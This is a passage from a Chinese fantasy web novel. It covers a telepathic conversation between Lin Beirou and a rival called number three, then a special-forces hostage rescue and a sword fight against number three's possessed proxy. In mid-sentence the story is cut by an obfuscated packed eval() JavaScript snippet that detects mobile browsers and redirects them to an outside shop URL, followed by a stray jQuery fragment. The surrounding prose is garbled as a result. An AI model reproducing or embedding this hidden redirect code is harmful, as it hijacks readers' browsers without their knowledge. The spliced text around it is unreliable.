对方的身形在黑暗中缓缓显形,只有一个如同日冕一样的昏暗轮廓,林北柔只能看出他身材高大修长。 对方:“很高兴见到你,四号伊婪末荼,用你的母语来说,惧末途?但我还是更喜欢用你的真名称呼你,林北柔。” 他念出林北柔这三个字时,林北柔有种特别不舒服的感觉,好像一种无形的言灵笼罩在了她头顶,渐渐收缩束缚。 林北柔:“那你的真名呢?你说我们是兄弟姐妹,兄弟姐妹难道不应该知道真名吗?” 三号很新奇:“你不怕我,这很好。” 他可以说是很随和地跟林北柔聊了起来,解答她的疑惑:“除了二号,你是第二个知道我真名的编号者。你可以叫我巴林,这让我们感觉自己更像人类。” 林北柔:“我们本来就是人类。” 三号没有反驳她:“你在使用天赋的时候,是不是感觉到一种牵引力,连在你的灵魂和心脏上,另一头连到天上,这种牵引力的末端,让你感到很恐惧。” 林北柔没有说话。 她确实在每次发动天赋之后,都有种精神上的疲累空虚。 万念俱灰,万事俱休,感觉天幕在旋转坠落,一切都无聊褪色到失去全部意义,内心生出一种有毒的悲怆,好在持续时间通常不超过十秒,简直就像传说中的伤心乃頭综合症。 三号在黑暗中似乎也能望见林北柔的表情,语气有些微妙:“你接触过天道吗?” 林北柔心跳漏拍:“什么?” 三号:“被赋予天赋的人,可以和天道做一次交易,但交易有代价。” 林北柔心脏笔直沉下去。 三号:“哦?看来我猜对了,你做过交易了。” 林北柔沉默了很久:“……你也做过?” 三号:“当然,你该不会觉得,能跨越时空的,只有你一个吧,在你的前面,很多人早就经历过了,和你一样,他们也是为了实现一个愿望。” 头皮发麻的感觉朝天灵盖向下蔓延,林北柔有些僵硬。 难道三号知道她去了什么地方,也知道司空晏……不可能。 三号:“我和你去的地方不一样,每个人的交易不同,交易内容只有自己知道,我曾经做过一次交易,为了得到自己想要的东西,但是交易出现了代价,所以我想要弥补,我需要你的帮助,林北柔,我相信你也需要我的帮助。” 林北柔:“……什么意思?” 三号:“我失去了我的亲人,而你暂时什么都没有失去,你不觉得有点奇怪吗?” 林北柔:“我不懂你在说什么。” 三号柔和地笑了,他的声音很成熟动听,低沉,略带喉音,语速慢了下来,每个字都有点拖长:“我感觉你很清楚,你不是看见过其他时间分支吗,你也一样,失去了所有亲人。” 林北柔感觉喉咙堵住了,呼吸有点困难。 三号:“我也很好奇,为什么你的代价还没有兑现,要知道我的愿望其实和你一样呢,我希望自己获得治愈,甲方送我去了其他位面,让我拿一个东西,我拿回来了,我获得了力量,十号以内的编号者之中,你、我和二号,都曾经做过交易,看看二号付出了什么代价吧,她死了。” 说完他顿了顿,像是刚想起来似的,轻描淡写地说:“对了,我和二号境界突破的契机,就是我们都失去了世界上最爱我们的人,你之所以迟迟突破不了,是因为你没有那个契机。” 林北柔头晕目眩。 她一直以为和甲方交易的只有她一个人。 甲方从来没有告诉过她这些。 一种被隐瞒的恐慌感蔓延开。 林北柔终于意识到,以前对甲方的信任其实是一种很天真的行为。 她强迫自己冷静了下来。 林北柔:“你拿回来了什么?” 三号真诚地说:“不知道,不过,我知道甲方把我们拿回来的东西都试了一遍,发现只有你拿回来的东西,发挥了作用,和现世灵脉匹配,但是后面又出现了新的问题,你带回来的东西……是叫太初灵核吧?那玩意莫名其妙被一号拦截了,卡在了禁区某个地方,没办法被激活,导致现世所有灵脉无法被重启,我有一个推测。” 林北柔的大脑消化着过大的信息量:“被一号……被魏瑕拦截?” 轻柔优雅的脚步声来回响起,似乎是三号在踱步。 三号:“本来你早就该付出代价的,但是有人在帮你,好像冥冥之中,有一个提前预知了一切的人,帮你避开了这些。” 林北柔:“……” 三号:“这个世界注定走向天劫,代价可以被延迟,却无法避免,我说我能帮你,是可以帮你保护自己的亲人,起码不会让他们成为你要付出的代价。” 林北柔:“你能做什么?” 三号:“我的场域,可以在极地地下很深的地方,开辟出一个安全空间,足以形成一个避难所,我叫它方舟,容纳人数有限,你和你的亲人,可以占两个位置,怎么样,我以编号者的身份,向天道发誓,你知道,编号者不会违反天道誓言。” 林北柔用天赋直觉感知到他并没有说谎。 在每个平行世界中,林子倩都是在天劫中丧生的。 如果三号能提供避难所,林子倩会很安全。 两个位置,林子倩一个,周阆屿一个。 这样她哥哥就可以照顾她妈妈了。 林北柔可以问心无愧,不会感到压在灵魂上的沉重负担,就算死也会内心平静地死去。 三号探究的目光落在她脸上,语气有些好奇:“你觉得自己就算不付出代价,也会横死?为什么?” 林北柔:“……我是四号,你说呢。” 三号若有所思:“承袭四号天赋的凡人,不是疯就是死,是吗,甲方告诉你的?还是那个莫衡这样告诉你的?” 林北柔:“都有。” 三号:“林北柔,我向你保证,我有办法解决。” 林北柔:“怎么解决?” 三号:“我可以把你的天赋拿掉,前提是你自愿,并且我保证,拿掉你的天赋,我也不会伤害你和你的家里人,从此你就是一个真正的普通人,生老病死,走完这短暂一生,就轻轻松松走向下一个轮回,再也不用和前缘纠缠,平凡很珍贵。” 林北柔感知了一下,发现三号这番话也是真的,他没有矫饰。 三号笑了起来:“不用观察我,撒谎是弱者的需求,何况你对我来说,是自己人,我对你说的都是真心话。” 林北柔渐渐感觉到不妙了。 她在三号身上感觉不到任何敌意,不但没有敌意,反而只有真诚。 三号给她感觉很舒服,和莫衡那种让她不舒服的感觉恰恰相反。 随和,诚实,邀请但不强求。 但是他们处于敌对立场。 或许不是立场敌对的话,他们应该是那种常聊到一块去的…… 这个念头一升起,林北柔刹那意识到了三号的可怕之处。 当你尊重甚至对你的敌人心存好感时,你就要小心了。 沉默了一小会儿,林北柔慢慢开口,每个字都很清晰:“你是应劫派的人,你站在应劫派那边,二号死了,是应劫派刺杀的。” 三号陷入安静。 林北柔作出了防御冲击的姿态,一旦不对,她会当场发动天赋。 三号叹息一声:“这确实是个问题,但我也确实需要你的帮助,这样吧,你跟我走,帮我一次,我把你放回来,同时依然保留我的承诺,为你的亲人留出两个位置,怎么样?” 林北柔需要知道三号更多的信息。 林北柔:“你到底要我帮你什么?” 三号:“你的天赋,你可以深潜到心识世界,那里是所有众生底层心识的集合,不论生者还是逝者,我想让你帮我找到我亲人的灵魂。” 林北柔:“办不到,我境界没那么高。” 三号:“编号者的天赋,除了靠噩耗作为契机激活,还有一种方式,像薪火相传一样,位序靠前的编号者,可以帮助位序靠后的编号者突破境界。” 林北柔盯着他,虽然她只能看清一个模糊的轮廓。 三号:“这个世界上,能帮你突破的,只有三个人,一号,二号,还有我。” 三号语气多了一丝狡黠:“二号已经死亡,一号下落不明,我请‘先知’看过,他失踪不是故意失踪,是确实卷入了麻烦里,所以你只能靠我,否则你进了禁区,也没办法达成你的目的,对不对。” 林北柔终于明白了三号的目的。 他想带走她,他需要她的天赋。 林北柔:“那这里是什么,幻境吗?我队友呢,你到底想把我们怎么样?” 三号:“不是你们,是你,我从头到尾要的,只有你,只要你跟我走,我就把他们全都放了。” 林北柔头皮绷紧,事情变得相当棘手。 林北柔:“如果我说不呢?” 三号轻声笑了:“我不会强迫你,你当然不用跟我走,只不过,一旦选择留下来,你要面临的就是一场战役,就像我说的,任何选择都有代价。” 林北柔不相信:“你现身想让我跟你走,我说不,你就放过我?那你来干嘛的,旅游吗?” 听上去根本不符合逻辑。 三号纵声大笑起来,好像觉得林北柔很好玩:“怪不得天道更偏心你,林北柔,你身上有我和其他编号者没有的东西,你好像更……简单一点。” 林北柔怀疑他原先想说的词是傻。 假如三号也去了其他位面,并且待的时间比她更长,那三号会在心智上远比她成熟。 胜身洲那边的修士平均寿命都是几千上万起步,林北柔又成天被司空晏揣在口袋里,没经历过太多摸爬滚打,心智上并没有变成百岁老人,还是原来的她。 所以她不打算和三号拼智商城府。 林北柔沉默以怼。 三号真诚地解释她刚才的问题:“我本人可没来这儿,否则不等同于对你们宣战吗?那太没礼貌了,何况这里是一号的地盘,你也是他的人,我还不打算与他正面为敌。” 林北柔充满暗示地说:“你说对了,我也不想和一号为敌,请体谅。” 跟司空晏对着干,下场不是一个死能概括的。 最梦魇的就是司空晏想把她做成绑定元神的跟随元灵,打散她的肉身,生生世世把她圈禁在他自己的元神中。 三号听懂了她的言下之意:“虽然都是在试验场长大的,人们却只叫我疯子,难道不是他更疯吗,我很好奇,一号去的是哪个位面?他也做过交易吧。” “……不知道。”林北柔垂下眼,不敢暴露微表情。 幸好,三号并不可能真的读心。 他叹息一声:“你想清楚了,林北柔,我们都是打破了时空的人,代价终将兑现,你的代价,就在前方等着你。” 林北柔不需要他再提醒。 对林子倩死亡的恐惧就像一把利刃,随时悬在她头顶,下一秒就可能斩落。 林北柔:“我不能跟你走,如果你不跟我们为敌,我可以答应你,等我境界突破了,帮你找到你的亲人。” 三号再次笑了,笑声乐不可支,好像她长在他笑点上,林北柔感觉脸蛋掠过一阵轻痒,就好像刚才有人用指背关节挠了挠她。 三号:“下次见面,就是在禁区了,希望你不会太快变成尸体,否则我还要费心为你准备一具可爱的小棺材。” 林北柔:“……”她一时听不出三号是在开玩笑还是认真的。 三号:“祝你好运,林北柔。” 刹那间,林北柔眼前充满了白光,失重感强烈到贯穿脊椎,天旋地转,她好像从天空趴到了地上。 尖锐的耳鸣之外,是逐渐包围她的,忽远忽近的现实声源。 “……林北柔!听得见吗?”声音急促但并不焦急,对方的训练要求他不论在何种情况都要极端冷静。 林北柔感觉她靠在墙角,前面有三个人将她挡住,形成一个安全角,端着武器朝向不同方向,覆盖全部射界,离她最近的那个人紧紧扶住她,轻轻拍打她的脸颊,林北柔失焦的目光聚集在他脸上,对方和其他人一样,都戴着护目镜和面罩,根本看不见脸,还是听到对方声音,才知道是谁。 林北柔沙哑着嗓子:“新垣少校……我怎么了。” 新垣鑫这才松了口气,一分半钟前,他们进入界线,抵达营地建筑大门,刚进去,林北柔就向前栽倒并失去了意识,黑雾袭来,他们打开了头盔的特殊成像模式,才看清周围。 荀照乘作为队长,单手扛起林北柔,就近找到一处掩体,暂时停下,让新垣鑫看好林北柔,其他人待命,等林北柔醒来。 林北柔看向附近,果然看到荀照乘就在近旁另一处掩体,带小队守住了点位,荀照乘望过来,见林北柔醒了,注视着林北柔,露出询问,新垣鑫冲他点头,意思是人没事。 观察员静静用一个细长的天线一样的东西探向前方,天线不断延伸,还会拐弯,就这样持续了一会儿,观察员的声音传到指挥室和每个人的通讯耳罩中。 “营卫全部死亡,学员集中在一个大仓库,手脚都被绑住,二十六个人携带制式法器,正在巡逻。”他把携带法器之人的位置说了一遍。 林北柔大脑无比清醒地意识到,这就是战场。 而刚刚三号还跟聊家常一样,跟她闲聊,丝毫没有提到上述一个字。 营地的守卫全部死了。 庞将军的声音徐缓稳重,就像镇定剂一样:“能看见他们什么样子吗。” 观察员回答:“全部身穿黑色防御法衣,戴兜帽和面具,看不清脸。” 是袭击者。林北柔意识到了这一点。 阴影悄然笼罩上对话。 庞将军:“能认出哪个是场域主人吗?” 观察员全神贯注将灵力集中在见轮上,眼球都逼出了血丝,过了十多秒,才回答:“在仓库东南角四点钟方向那个,只有他戴着一条三角独眼黄金项链,没有携带制式法器。” 三号。但是刚刚三号说了,他真身不在这里。 林北柔沙哑开口:“是三号,但不是他本体,可能是远程操纵了他手下的元神。” 通讯频道刹那一片寂静,就好像林北柔投下了一枚消音弹。 紧接着下一秒庞将军声音响起:“四号,你如何确定?” 林北柔:“刚才三号链接了我的意识,他告诉我的。” 就算仅仅操纵了其他人的元神,他也能一下子杀了那么多训练有素的守卫。 林北柔能感觉到荀照乘看了她一眼,那一眼很重,新垣鑫也一样,但很快他们就各自看向前方,固守该有的位置。 战术指挥中心,一个戴眼镜的专家警告:“这是陷阱,得终止计划,让小队撤退,换重型矩阵装置,直接把营地炸了。” 其他人脸色全都变了。 庞将军眼睛都没眨一下:“老田,你想让学员背后的世家直接倒向应劫派?” 眼镜专家:“封锁消息。” 庞将军:“封不住的,三号这一步棋,就证明我们的营地也被渗透了,他们知道了我们下一步想做什么,才改变了策略,这么多袭击者,怎么凭空出现的?三号的场域,是否具有某种传送功能?” 眼镜专家皱了皱眉。 庞将军继续说:“他们想损耗我们的力量,要么救出人质,要么折损学员,太微垣最近正在震荡,即将选议新的决策层,世家的态度很关键,你说他们想干什么。” 眼镜专家冷酷无情地说:“我们目前的编号者,没有一个是应劫派,这就够了。” 一号魏瑕,孤家寡人,谁也不吊,谁也猜不到他下一步想干什么,但求他别发疯就行了,什么玩儿失踪那都是小事,五号周阆屿,很特殊的结界型天赋,他和他老师耿江渡都是化劫派的,暂时不用担心,四号林北柔,普通人一个,被孙和铃主动荫庇,孙和铃也是化劫派的。 指挥中心内,其他人反应激烈,有人反驳眼镜专家,众人意见不同。 庞将军跟总司令打了个电话,挂了电话,她朝众人点点头:“营救人质,击毙袭击者。” 接着,庞将军单独接通了林北柔的通讯器,其他人听不到。 庞将军:“三号对你提出了什么要求?” 林北柔:“他想让我跟他走,我没同意。” 喉麦能捕捉她最微弱的气声振动,其他人听不到她说什么,只有庞将军能听见。 庞将军嗯了一声,仿佛早就知道了答案:“事已至此,你留下来意义不大,要和小队一起行动,还是撤离,你选一个。” 这还能带选的? 林北柔语塞了刹那:“我跟小队一起行动。” 三号实力一个元神投影就能造成那么大杀伤力。 林北柔起码也是编号者,关键时候说不定能爆发出一点作用。 庞将军:“好,林北柔,接下去我说的话你记住。” 林北柔屏息凝神。 庞将军:“编号者,哪怕不是真身展开的场域,也足以致命,在小队没有靠近到跟前时,三号不会激活场域,以他的性格,更喜欢玩,慢慢折磨对手,他激活场域之后会发生什么,我们暂时不知道,但你是编号者,成功的变数可能在你身上,最坏的结果,是人质解救失败,小队全员牺牲,还有,他之前跟你说的,一个字都不要信。” 林北柔:“我知道了。” 指令传递到了荀照乘那边,荀照乘朝众人做了个前行的手势,所有人悄然起身,每人动作都轻柔无声,默契十足,遇到拐角也不需要任何眼神和手势沟通,每个人好像都知道该做什么,走位没有半点迟滞,收放法器的动作恰到好处,前后左右射界全部覆盖。 林北柔跟在新垣鑫后面,她后面有个特别老练的队员负责断后,她只需要跟紧新垣鑫,和他保持直线就行了,林北柔个子不算太矮,但其他人都很高,非常严实地将她挡住,众人行进到了第一个巡逻点,转角处出现了一个袭击者。 荀照乘两发点射过去,肉眼捕捉不到的高速运动中,灵力弹一枚紧随另一枚,敌人身上普通子弹穿不透、甚至会扭曲弹道的灵力障壁,瞬间被穿透,袭击者无声倒地。 众人绕开地上尸体,没有一句话没有一个多余的动作,一切行云流水,在封闭狭窄复杂的通道里,不断建立定点掩护,潜行推进,遭遇敌人,给敌人的反应时间不超过0.8秒,就这样干掉了仓库周围片区的五个哨点。 林北柔绕过尸体时,能感觉到尸体身上强大的灵力波动。 和这种敌人正面硬扛很耗时间,还会惊动更多敌人,怪不得上面要建立特殊作战部队,这种战斗方式相当高效,就像一把影子镰刀,不断收割人头。 林北柔想起在胜身洲,她都是直接跟在司空晏身边,司空晏一个人动动手指就能灭一个宗门,林北柔还没见过这种科学丝滑的团体作战,心情忍不住隐隐激动。 在一个特别狭窄的地方,一个蛮力无穷的袭击者猝不及防出现,瞬间抓住了最前面荀照乘法器沉甸甸的金属管,把他发射器向下压,居然把荀照乘拉得一个趔趄,荀照乘另一只手早已拔出单手手枪式射击法器,手肘抬起,枪口下压,一发爆头袭击者,在他发动杀招之前0.1秒,杀了他。 林北柔瞳孔几乎幻视出鲜血和脑浆的动线。 袭击者像座小山倒在地上,防御衣和灵力弹能波残余发生作用,散发出一阵奇怪的能量震荡,知识瞬间在林北柔大脑中回荡,她才在训练中学过,这意味着他们的位置暴露了。 荀照乘都不需要下指令,只见小队默契分开成三组,从三个入口进入了仓库,进入之前,新垣鑫把林北柔推到了荀照乘那边,自己迅速切换了法器形态,带组员占据了狙击位置之一。 仓库非常大,有很多坚固掩体,他们一进来,敌方几乎是瞬间就朝他们的位置逼近。 双方开始互狙。 荀照乘手轻按了下林北柔头盔顶,意思是让她别抬头,林北柔身体伏低,背靠在掩体后方,打算只要他们不喊她,她就一直龟缩在这了,这种时候最关键就是不要拖后腿,荀照乘架设好了法器,观察员报出了四面八方敌人的位置,敌方也有长距离狙击手。 接下去十分钟时间非常漫长,林北柔感觉过了十年。 他们需要变化位置,拉宽战线,防止敌人从侧翼包抄,每次都是先由队员火力集中压制敌方进行掩护,其中一个队员带林北柔转移,幸好之前荀照乘教过她怎么行进和转身,在枪林弹雨中,数灵力爆炸声中,小队控死了火力范围,扫出一个安全空间,林北柔每次都顺利抵达。 她从来没经历过这么刺激的事,以前她被司空晏揣进乾坤袖里,就像那些生死厮杀血腥交锋对她来说,就像远方的雷声一样遥不可及。 敌人被小队消灭了一半,战斗越激烈,越升级,真正的问题也越快暴露。 敌方有三个特别难解决的狙击手,占据了制高点。 当林北柔看到己方一个队员仅仅是探头时多暴露了一点肩部,一线灵力弹就击中了他的头盔,巨大的动能让他当场脖子折断,倒在地上没了声息,她瞳孔针缩到极致,呼吸暂停,心脏悬空。 其他队员没有停下,行动没有受半点影响,有条不紊地继续向前推进,中途他们又折损了一个队员,但几乎将视界内所有隐显目标击杀,交替续航作战惊人。 有队员法器里的转化能条快耗空了,需要更换能条,因为全神贯注,没注意到,荀照乘拍了下他肩膀,示意他交换位置,队员当即迅速转身,背靠掩体更换能条,荀照乘补上他的位置。 二十秒后,荀照乘解决了其中一名狙击手。 林北柔看到不远处新垣鑫丢出了一个什么东西,她还以为那是手雷,但很快,敌方狙击手击中了那个东西,白日烟火一样的雾气扬起,显现出灵力弹的轨迹,荀照乘判断出了对方的位置。 十一秒后,荀照乘一击射杀了第二个狙击手。 仓库里没有光线,只有灵力的爆炸产生的闪光,要么就是绝对的黑暗,要么就是暗红的火光,或者白得刺眼的闪光。 林北柔通过护目镜的特殊成像,看见了不远处很多被捆绑的人质,人质中间有一片空地,地上放着一把孤零零的扶手椅,那个戴项链的被三号操纵元神的袭击者,就坐在椅子上,右边脚踝放在左边膝盖上,单手支着下巴,另一只手正在抛玩一枚小东西。 椅子下面的地上是一个复杂的阵法,好像是刚刚画出来不久,边缘还有颜料未干的痕迹。 激烈交火中,距离不断拉近,射界也被卡得越死,敌方减员比他们快很多,每死一个敌人,林北柔就精神一振,意识到己方小队的精锐程度。 荀照乘隔着一段距离,朝新垣鑫打手势,林北柔看不懂,只能看见新垣鑫点了点头,调整了枪托位置,荀照乘旋即换了射击姿势,朝外挪移了一点,林北柔微微睁大眼睛,刚刚那个死去的队员,就是探出去…… 两发灵力弹呼啸而来,打在了荀照乘探出去的位置。 林北柔窒息,她以为荀照乘死了。 荀照乘没有,他好像预知了弹道一样,转回去瞬间刚好和灵力弹错开轨道。 林北柔错觉好像又看到了那个在战场上杀人无数的青年兵修。 没有一丁点多余的动作,哪怕再轻微也没有。 他的行为动机,眨眼频率,呼吸节奏,都是为了击杀和完成任务而生。 林北柔分神的半秒,新垣鑫一发击杀了对方暴露位置的观察员,火力压制下,对方狙击手不得不变换位置,刚开始移动,就被新垣鑫两发解决,配合堪称教科书级别。 失去制高点,对方剩下的人开始近攻,不再防守,只向他们这边猛冲。 代价是他被灵力弹擦伤了胳膊,血刹那浸染了半条胳膊,新垣鑫不受影响,换成右手扛法器,把随身携带的增能装置给法器装上了。 接下去相当混乱,林北柔视野都在晃荡,只能本能跟着荀照乘移动,后方队员扶着她的肩膀,方便引导她转向,林北柔无瑕分辨到底发生了什么。 等一切稍缓,林北柔才意识到,战斗升级了。 副本中高级精英怪扫清,只剩下最终Boss。 她跟着荀照乘在一处掩体后面,距离三号附身者只有不到三十米远,所有队员各就各位,现场一片静默,静默到林北柔只能听见自己的耳鸣。 荀照乘的声音响起在每个人通讯器中:“他手上抛掷的东西,是元神连接装置。” 新垣鑫低声说:“打掉它,就能解除场域?” 本来坐在椅子上的附身者在此时站了起来,声音通过一种古怪的调频器发出:“终于来了,你们真慢。” 接下去他拍了拍手,一道环形微光刹那扩散,擦过林北柔他们头顶,场域激活了。 小队早已做好了冲击准备,每组的“盾牌手”上前,将背后装置解下,单手立于地上,刹那一整面防爆盾一样的结界立起展开,将各组队员笼罩在内。 附身者笑了起来:“结界可没有用啊。” 林北柔生出一种特别不详的预感,庞将军说他们也不知道三号的场域究竟是什么。 仿佛一道薄薄的潮涌,直接漫延到了结界外,被结界挡住,林北柔紧绷的神经还没来得及放松,就看见潮涌的水分子扬起,穿透了结界。 这一切只有林北柔能看见,其他人根本不知道发生了什么。 不光是他们全队,所有人质也都吸入了,结界具有稀释作用,队员尚未出现反应,人质的反应几乎是爆发式的,他们痛苦地翻滚哀嚎,就像遭遇了极大的痛苦,或者看到了极其恐怖的事物。 林北柔僵住了,如果人质出事,那这次的任务就失败了,队员的死意义在哪里…… 等等,人质没有死,他们好像只是很痛苦,那个附身者始终没有理睬人质,他面朝的方向是他们这边,林北柔有种和三号隔空对视的错觉。 “你还不知道我的天赋是什么吧,”附身者用古怪的声音愉悦地说,“其实,和你有一点像。” 林北柔看到有个人质缓缓飘浮起来,挣扎着飘到了半空。 附身者:“啊哦,他的噩梦是曾经掉进很深的水里,差点溺水而死。” 那个人质头朝下,脚朝上,拼命挣扎想要浮上去,明明是在半空,却如同在水中。 显然,在三号的场域内,他有能力将每一个人的梦魇具现化。 还有的人质身上出现了斑斑点点的红色,一边鬼哭狼嚎有虫子。 林北柔的天赋能把人拽入底层心识,让他们置身于如同现实的幻觉,直接伤害元神,但并不会对现实身体产生实质伤害,三号则不一样,但他们有个共同点,即能瞬间让人陷入狂乱应激。 林北柔意识到她自己没有受影响,三号的天赋,对她不起作用。 林北柔看向其他队员,他们明显开始受到了影响。 军士修行者经过特殊训练,耐受力比常人高很多,即使如此,也能看出他们全身正在僵硬,有个队员身体慢慢弓了下去,控制不住地开始打摆子,林北柔扑过去凑近看,发现他的眼球上翻,瞳孔在震颤,显然是陷入了很深的梦魇,下一秒,林北柔看见他胸口刹那出现一道深深的撕裂伤,连同外面的防御背心一道撕裂。 林北柔意识到,这些军士修行者都是去过灵脉战场的,他们的经历比常人那些普通的恐惧,可怕得多。 林北柔端起一架法器,以蹲姿抵肩射击,朝附身者连击。 附身者悠闲地避让开,林北柔没有击中他手中的装置。 林北柔继续射击,灵力弹打在了附身者身上,附身者困惑看向林北柔,好像她在给自己挠痒痒。 这是怎么回事!这个人连灵力弹都防得住吗! “……”林北柔想骂人,之前练据枪就练得她肩膀快裂开了。 她匆匆瞥了其他人一眼,新垣鑫困难地抬头看着她,似乎想告诉她趴下,但嘴唇蠕动着不能发出声音,荀照乘则好像被定住了一样,这是沉入梦魇的表现。 林北柔想到了他的经历,他说过,他小时候失去了全部家里人,父母,三个妹妹。 怎么失去的?肯定不是自然死亡。 林北柔转身从盾牌手背上拔出了一把制式长刀,手腕一甩,发动天赋,整个刀身骤然亮起蓝紫色气焰,缓缓朝斜上方飘曳,林北柔顿时感到蓝条开始疯狂消耗,顾不得多想,她冲出了结界,朝附身者冲了过去。 她降低重心,一个轮旋,刀刃成圆弧划过附身者身前,如同一把异色火焰刀,这是基础剑招,司空晏教她的,林北柔曾经天天被迫早起晨练,没想到效果出来了,在经过附身者时焰尾暴涨,烧到了他的手臂,那枚装置像小骰子一样,掉落在地,滚了出去。 附身者顿了两秒,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930375|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎完全没想到林北柔会用刀,林北柔自己也不觉得自己擅长刀剑,纯粹是熟能生巧,她三百年都在练这个,已经成肌肉反应了,就这还要被司空晏嫌弃,说出去别说是他教的。 林北柔没有耽误时间,燎到了附身者瞬间,用刀焰劈向装置,结果装置毫发无损。 她居然砍不坏这个玩意?! 林北柔只好随机应变,滑铲出去用脚尖把那枚骰子踢远了,离开连接范围,三号场域刹那变得稀薄,附身者朝骰子追了过去,林北柔提刀拦截。 附身者摸上项链上的眼睛状宝石,从那枚和非洲之星一样大的宝石中,缓缓抽出了一把西方古典式长剑。 林北柔:“……” 别丢我脸。阴阴柔柔的嗓音,带着熟悉的语调,仿佛从她耳廓尖划过。 附身者好像对林北柔和她的刀法十分感兴趣,缓缓绕着她走,林北柔也跟着走,刀尖始终朝向他,要不是画面过于诡异,这幕场景就像电影。 三号去过其他位面,林北柔不确定他的剑术是否在自己之上。 要是祖宗,都不用什么剑,掐下小拇指尖就把对方灭了吧。 林北柔控制住紧张焦虑,强迫自己冷静。现在这里只有你自己,支棱起来。 下一刹那,附身者身法鬼魅欺近,林北柔的刀和他的剑擦出了火星。 结界内所有队员都恢复了行动能力,荀照乘一个手势,他们迅速放下战术背包,拿出事先携带的装备,组装,架设,要不是看见这些,因为他们先前的行动轻柔流畅,静默无声,林北柔差点忘了,刚才队员们一直是在负重几十公斤的前提下,和敌方在作战。 很多队员刚才还因为遭遇场域冲击,胸闷吐血,现在行动如常,不到十五秒,一台装置架设完毕,荀照乘示意和新垣鑫交换位置,新垣鑫明白了他的意思,迅速过去,代替荀照乘启动了装置,荀照乘朝林北柔那边疾冲过去。 新垣鑫负责指挥,两个队员操纵装置,装置产生了一个巨大的风洞,虹吸一样将人质接二连三吸了过来,这一幕相当壮观,人质落地后,其他队员砍掉绑住他们的尼龙绳,示意他们直接朝外跑,人质也都是基地学员,明白不能拖后腿,当即有秩序地迅速撤退,很快几乎所有人质都离开了仓库。 “少校,那个装置砍不坏!”林北柔余光看见荀照乘过来了朝他喊,一个分心差点被附身者的长剑钉穿肩膀。 林北柔火了,加快节奏释出了一套连招。 她感觉到了,三号剑术确实精湛,远在她之上,但可能是远程控制,力量比她大,动作没她快,再加上林北柔是跟着司空晏学的,这些剑招全是太乙碎虚剑·心剑诀里的精华,奥秘无穷,变幻莫测,就算林北柔只学会了一点点,也足以压制水平在她之上的对手。 何况当初司空晏天天守着林北柔在最高的云顶峰练剑,还根据她的身体和习惯,改进了一些招式,更适合林北柔。 “天底下我这样的师尊,你上哪找去。”司空晏抱臂倚在古松下,唇角扬起个阴柔的似嘲非嘲的笑。 林北柔当时累得狗喘,心底骂了他一万遍。 现在林北柔感谢祖宗当初这样用心教她。 “你用的是刀,怎么全是剑式?”附身者疑惑万分地问。 林北柔压力更大了,她意识到附身者没有出全力,大概只出了六成力气,而林北柔则出了九成。 “教你的人,一定是传说级别的剑圣啊,真想亲自和他较量。”附身者仿佛明白了什么,叹息一声。 荀照乘先用手枪式法器精确点射装置,装置外层出现凹陷,但没有损坏,荀照乘捡起了装置,装置突然弥散出一股黑雾,侵蚀了他的手套,荀照乘握住装置,朝新垣鑫方向一个抛物线扔过去,新垣鑫准确抬手接住,就跟接棒球一样,其他队员打开一个类似铅盒的盒子,新垣鑫将装置放了进去,关上盒盖,场域瞬间变得更弱了。 荀照乘在通讯器里对他们下指令:“撤。” 新垣鑫和其他队员没有迟疑,用消防员背负法,背起剩下那些没办法行走的人质,迅速离开了仓库,离开之前,新垣鑫胸口涌上说不上的奇怪感觉,就好像胸肋下有种强烈的酸痛发热,他忍不住回头看了林北柔一眼,林北柔应付得有点吃力,但攻守动作异常漂亮,火焰刀照亮了她的脸,她的瞳孔反射出两点蓝紫亮光,荀照乘正朝她跑过去。 奇怪的一幕,好像他才应该是跑向林北柔的那个,而不是别人,不是荀照乘。 新垣鑫克制住了心头的异常,这一定是场域的影响。 军士修行者服从命令是天职,新垣鑫护目镜后的眼睛闭了一闭,不再回头看,背着人质冲出了出口。 林北柔没有接住附身者一记大招。 她的刀被打掉了,当啷一声脱手,抛飞到远处。 林北柔错愕,迟滞半秒意识到,是因为她没蓝了。 她不知道她拿的这把制式法器,耗蓝量极高,林北柔没学过控蓝,刚才都是放大招,直接把修为池抽空了,需要一定恢复时间。 附身者的长剑劈刺而来,映入林北柔收缩的瞳孔。 火光在长剑上炸开,庞大推力让附身者向后退出好几步,差点仰摔过去,接着他身体中弹,血花爆开,踉跄跪在了地上,手中长剑变成虚影,断断续续消失。 林北柔转过头,看见荀照乘就在她近旁,端着一架最重的狙击型法器,连续朝地上的附身者射击,林北柔耳朵快被震聋了。 她看见荀照乘法器的灵能盘是满格状态,里面的光是一种落日般的赤橘,如流沙一样旋转,像火。 之前林北柔的灵力弹打在附身者身上没有用,荀照乘的灵力弹却造成了致命杀伤。 附身者全身抽搐,被打成了筛子,加上装置被带走,场域也稀薄到近乎消失。 荀照乘慢慢靠近,确认附身者已经死亡,任务终于完成。 林北柔:“他……他死了吗?” 荀照乘点点头,声带嘶哑:“别靠近。”他抽出腰带背后一把直刀,走过去单膝跪在尸体旁边,笔直一插,再横向划拉,撕果皮一样轻易将尸体的头颅撕了下来,防止对方尸体出现诈尸。 林北柔皱巴起脸:“……”也太专业了,就是画面不美观。 尸体脖子上的项链躺在血泊里,荀照乘解下战术背包,从里面拿出一只特制的封装盒子,用刀尖去挑起项链,项链却突然弹向空中,猛地砸落在了附身者之前坐的椅子下方,好像一只受惊而动的老鼠。 椅子下方的黑色阵法刹那启动,发出滋啦滋啦的能量流动声,将项链保护在里面。 林北柔惊了一跳:“什么玩意儿?” 荀照乘抬手示意她不要过去:“林北柔,过来,退到我后面,动作慢点。” 林北柔照做,慢慢退到了荀照乘身后,荀照乘确认她到安全范围之后,收刀入鞘,换上法器,瞄准了那枚项链,项链居然左右移动,不断躲避,灵力弹击打在阵法上,弹道被扭曲,同时阵法开始燃烧,看架势居然是想将那项链销毁。 林北柔:“……”这个项链里面肯定藏着重大秘密,否则不会有自毁程序。 